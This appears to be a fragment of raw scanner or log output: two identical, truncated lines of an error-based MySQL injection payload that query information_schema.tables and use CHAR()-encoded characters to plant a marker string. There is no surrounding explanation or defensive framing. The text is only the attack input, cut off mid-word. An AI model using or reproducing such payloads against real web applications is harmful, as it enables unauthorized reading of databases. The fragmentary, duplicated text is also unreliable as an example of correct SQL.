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and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(116),CHAR(99),CHAR(104),CHAR(105),CHAR(110),CHAR(121),CHAR(106),CHAR(103)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.t

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and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(116),CHAR(99),CHAR(104),CHAR(105),CHAR(110),CHAR(121),CHAR(106),CHAR(103)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.t